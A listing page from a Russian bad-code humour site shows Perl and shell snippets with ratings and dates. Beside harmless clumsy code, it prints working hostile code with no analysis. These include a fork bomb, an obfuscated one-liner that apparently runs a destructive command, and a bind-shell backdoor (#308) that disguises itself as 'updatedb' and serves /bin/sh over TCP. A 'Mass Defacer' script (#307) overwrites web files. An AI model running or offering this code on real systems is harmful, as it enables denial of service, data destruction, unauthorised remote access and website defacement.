1. Perl / Говнокод #404

    −386.1

    1. 1
    2. 2
    3. 3
    4. 4
    if ($ids eq $parent_old) {
    	$dgkjhgksdg++;
    	$newbasenosorted[$dgkjhgksdg]="$num|$b[0]";
    }

    Магазин построенный на файлах..

    guest, 16 Января 2009

    Комментарии (6)
  2. Perl / Говнокод #337

    −422.2

    1. 1
    :(){ :&:;};:

    Смайлики на POSIX Shell

    guest, 06 Января 2009

    Комментарии (1)
  3. Perl / Говнокод #331

    −423.2

    1. 1
    echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

    guest, 05 Января 2009

    Комментарии (4)
  4. Perl / Говнокод #308

    −327.6

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    #!/usr/bin/perl
    
    $port = 32767;
    $port = $ARGV[0] if $ARGV[0];
    exit if fork;
    $0 = "updatedb" . " " x100;
    $SIG{CHLD} = 'IGNORE';
    use Socket;
    socket(S, PF_INET, SOCK_STREAM, 0);
    setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);
    bind(S, sockaddr_in($port, INADDR_ANY));
    listen(S, 50);
    while(1)
    {
        accept(X, S);
        unless(fork)
        {
            open STDIN, "<&X";
            open STDOUT, ">&X";
            open STDERR, ">&X";
            close X;
            exec("/bin/sh");
        }
        close X;
    }

    guest, 30 Декабря 2008

    Комментарии (6)
  5. Perl / Говнокод #307

    −388

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    #!/usr/bin/perl -w 
    #Masss Defacer v2.0 
    # Coded By illuz1oN 
    # Creditz - Nostur 
    $def = 'YOUR LAME DEFACE PAGE HERE =)'; 
    {        print "[+]DEFACING...\n"; 
             print"[+]DEFACING .PHP FILES...\n"; 
    		 my @php = glob("*.php"); #Files 
         foreach my $deface(@php){ 
         open(DEFACE, '>', $deface); 
         print DEFACE $def || print "[-]Fxcked up: $!\n"; 
         close(DEFACE) 
      } 
             print "[+]DEFACING .HTML FILES...\n"; 
             my @html = glob("*.html"); #Files 
         foreach my $deface(@html){ 
         open(DEFACE, '>', $deface); 
         print DEFACE $def || print "[-]Fxcked up: $!\n"; 
         close(DEFACE) 
      } 
             print "[+]DEFACING .ASP FILES...\n"; 
    		 my @asp = glob("*.asp"); #Files 
         foreach my $deface(@asp){ 
         open(DEFACE, '>', $deface); 
         print DEFACE $def || print "[-]Fxcked up: $!\n"; 
         close(DEFACE) 
      } 
             print "[+]DEFACING .ASPX FILES...\n"; 
    		 my @aspx = glob("*.aspx"); #Files 
         foreach my $deface(@aspx){ 
         open(DEFACE, '>', $deface); 
         print DEFACE $def || print "[-]Fxcked up: $!\n"; 
         close(DEFACE) 
      } 
             print "[+]DEFACING .HTM FILES...\n"; 
    		my @htm = glob("*.htm"); #Files 
         foreach my $deface(@htm){ 
         open(DEFACE, '>', $deface); 
         print DEFACE $def || print "[-]Fxcked up: $!\n"; 
         close(DEFACE) 
      } 
             print "[+]DEFACING .JS FILES...\n"; 
    	my @js = glob("*.js"); #Files 
         foreach my $deface(@js){ 
         open(DEFACE, '>', $deface); 
         print DEFACE $def || print "[-]Fxcked up: $!\n"; 
         close(DEFACE) 
      } 
             print "[+]DEFACING .AC FILES...\n"; 
    		 my @ac = glob("*.ac"); #Files 
         foreach my $deface(@ac){ 
         open(DEFACE, '>', $deface); 
         print DEFACE $def || print "[-]Fxcked up: $!\n"; 
         close(DEFACE) 
      } 
      print "[+]Pages Should Be Defaced!\n"; 
     
    } 
    #Coded By illuz1oN 
    #Credits - Nostur!

    guest, 29 Декабря 2008

    Комментарии (7)
  6. Perl / Говнокод #138

    −379.3

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    sub pfexec { args "pfexec", @_ unless $1.$2 eq "pfexec";
      local ( $_, $lp, @rep ) = @_; $lp ||= 1;
      die 'Command string must not contain $$ sequences' if m/\$\$/o;
      1 while s/\(([^()]*)\)/'$$'.push(@rep,$1)/eo;
    # print $_,"REP:\n","=>",join( "\n=>", @rep),"\n";
      unshift @rep, ""; s/\s+/ /g;
    
    LOOP: while ( $lp-- ) {
            foreach ( split ";" ){
              my @cmd = split " "; $_ = shift @cmd; last unless m/^(\w{2})(\w+)/o;
    CMD:  foreach (@cmd){
                    1 while s/\$\$(\d+)/'('.$rep[$1].')'/eo; s/^\(\s*(.*?)\s*\)$/$1/so;
                    s/^\%(\d+)->(\w+)=//    and ${$HASH[$1]} ->{$2} = $_ and next;
                    /^\%(\d+)->(\w+)/               and $_ = ${$HASH[$1]} ->{$2} and redo CMD;
    
                    /^%%(\d+)/      and $_ = $HASH[$1] || ( $HASH[$1] = \{} ) and next;
                    /^\%(\d+)/      and $_ = ${$HASH[$1]} and next;
                    /^\#\#(\d+)/ and $_ = $CHAN[$1] || ( $CHAN[$1] = \{} ) and next;
                    /^\#(\d+)/      and $_ = ${$CHAN[$1]} and next;
              }
              $_ = $::control{$1} && $::control{$1}{$2};
              s/\^(\d+)/$cmd[$1-1]/geo and print "Expanded to: $_\n"
                    and pfexec( $_ ) if !ref;
              args $1.$2, @cmd and eval { $_->(@cmd) } if "CODE" eq ref;
              last LOOP if $@;
            }
      }

    Так пишет мой коллега

    guest, 12 Декабря 2008

    Комментарии (9)
  7. Perl / Говнокод #100

    −1006.6

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    @lib_001=('A','G','C','T','A');
    @lib_002=('C','T','A','A','G');		 
    @lib_003=('T','G','C','A','T');
    
    $string=<FILE>;
    @sequence=split("",$string);
    @code=@sequence[-7..-3];
    		
    if((join('',@lib_001) eq join('',@code)) or
        (join('',@lib_001[0..3]) eq join('',@code[0..3])) or
        (join('',@lib_001[1..4]) eq join('',@code[1..4])) or
        (join('',@lib_001[0,1,2,4]) eq join('',@code[0,1,2,4])) or
        (join('',@lib_001[0,2,3,4]) eq join('',@code[0,2,3,4])) or
        (join('',@lib_001[0,1,3,4]) eq join('',@code[0,1,3,4]))) 
    	{$tag=join('',@code);
    	 $closest_tag=join('',@lib_001);}
    			
    elsif((join('',@lib_002) eq join('',@code)) or
         (join('',@lib_002[0..3]) eq join('',@code[0..3])) or
         (join('',@lib_002[1..4]) eq join('',@code[1..4])) or
         (join('',@lib_002[0,1,2,4]) eq join('',@code[0,1,2,4])) or
         (join('',@lib_002[0,2,3,4]) eq join('',@code[0,2,3,4])) or
         (join('',@lib_002[0,1,3,4]) eq join('',@code[0,1,3,4]))) 
    	{$tag=join('',@code);
    	 $closest_tag=join('',@lib_002);}
    		
    elsif((join('',@lib_003) eq join('',@code)) or
         (join('',@lib_003[0..3]) eq join('',@code[0..3])) or
         (join('',@lib_003[1..4]) eq join('',@code[1..4])) or
         (join('',@lib_003[0,1,2,4]) eq join('',@code[0,1,2,4])) or
         (join('',@lib_003[0,2,3,4]) eq join('',@code[0,2,3,4])) or
         (join('',@lib_003[0,1,3,4]) eq join('',@code[0,1,3,4]))) 
    	{$tag=join('',@code);
    	 $closest_tag=join('',@lib_003);}
    
    else
    	{$tag=join('',@code);
    	  $closest_tag='NONE';}

    guest, 10 Декабря 2008

    Комментарии (13)
  8. Perl / Говнокод #60

    −366.4

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    ###
    ### ввод цен на открытки
    ###
    
    if ($p{card}==0) {$o=0}
    if ($p{card}==1) {$o=20}
    if ($p{card}==2) {$o=20}
    if ($p{card}==3) {$o=20}
    if ($p{card}==4) {$o=20}
    if ($p{card}==5) {$o=20}
    if ($p{card}==6) {$o=20}
    if ($p{card}==7) {$o=20}
    if ($p{card}==8) {$o=20}
    if ($p{card}==9) {$o=20}
    if ($p{card}==10) {$o=20}
    if ($p{card}==11) {$o=20}
    if ($p{card}==12) {$o=20}
    if ($p{card}==13) {$o=20}
    if ($p{card}==14) {$o=20}
    if ($p{card}==15) {$o=20}
    if ($p{card}==16) {$o=20}
    if ($p{card}==17) {$o=20}
    if ($p{card}==18) {$o=20}

    guest, 04 Декабря 2008

    Комментарии (6)
  9. Perl / Говнокод #55

    −110.4

    1. 1
    #!/usr/blin/perl

    guest, 04 Декабря 2008

    Комментарии (63)